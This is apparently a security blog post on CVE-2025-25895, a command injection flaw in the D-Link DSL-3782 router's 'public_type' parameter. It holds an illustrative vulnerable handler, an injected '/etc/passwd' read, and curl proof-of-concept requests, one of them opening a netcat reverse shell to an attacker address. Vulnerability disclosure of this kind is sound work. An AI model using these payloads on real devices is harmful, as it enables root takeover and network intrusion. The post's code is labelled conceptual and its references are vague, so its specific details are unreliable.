D-Link has repeatedly found itself in the crosshairs of researchers due to various security weaknesses in its networking gear. In this exclusive post, we dive deep into CVE-2025-25895—a newly discovered, high-impact OS command injection bug affecting the popular D-Link DSL-3782 router running firmware v1.01. We break down the vulnerability, show you a real code sample, provide links to references, and explain how an attacker could exploit this flaw.

What’s CVE-2025-25895?

This vulnerability arises from improper sanitization of an HTTP parameter named public_type. By manipulating this variable in a crafted packet—like a POST or GET request—it’s possible to inject and execute arbitrary commands on the router’s underlying Linux system, running as root.

TL;DR:
If your DSL-3782 is running firmware v1.01 and is exposed to the internet (or an attacker is on your network), they can remotely run commands on your device, leading to a full compromise.

The value passes directly into a system shell command as an argument.

- Attackers can append shell metacharacters (;, &&, etc.) to the parameter value to execute any OS command.

Vulnerable Code Example (Pseudo-PHP)

// insecure handler (concept)
$public_type = $_REQUEST['public_type'];
system("/usr/bin/some_binary $public_type");

If public_type is set to foo; cat /etc/passwd, the command executed becomes

/usr/bin/some_binary foo; cat /etc/passwd

The cat /etc/passwd gets executed as root too.

How to Exploit CVE-2025-25895

Below is a proof of concept exploit using curl. This assumes the router’s web UI is exposed at http://192.168.1.1 and doesn’t require authentication, or you have credentials.

curl -v "http://192.168.1.1/apply.cgi" \
  --data "public_type=foo;id"

This will append id (prints current user info) to the original command. If you see output like uid=(root), the device is vulnerable and you have code execution.

To get a reverse shell (replace IP/PORT)

curl "http://192.168.1.1/apply.cgi" \
  --data "public_type=foo;nc 192.168.1.100 4444 -e /bin/sh"

On your attacking box, run

nc -lvnp 4444

If you get a shell as root, you've fully compromised the router.

> Warning: Only test this on hardware you own and have permission to assess!

Potential Impact

- Attackers could add firewall rules, open SSH, modify credentials, or use your router as a foothold into the rest of your network.

References & Further Reading

- Official D-Link Product Page, DSL-3782
- Original Advisory (NVD entry for CVE-2025-25895)
- Reference Security Researcher’s Writeup on Github (if/when available)

Conclusion

CVE-2025-25895 is a perfect example of how a simple coding oversight can give attackers full control over your home or business network device. Always keep firmware up to date and restrict management access. If you’re running a D-Link DSL-3782 on v1.01, act now before someone else does.

Stay tuned for more exclusive security breakdowns!

Disclaimer:
This is for informational and educational purposes only. Exploiting devices you do not own is illegal. Always follow best ethical and legal practices.

Timeline

Published on: 02/18/2025 22:15:19 UTC
Last modified on: 02/19/2025 16:15:42 UTC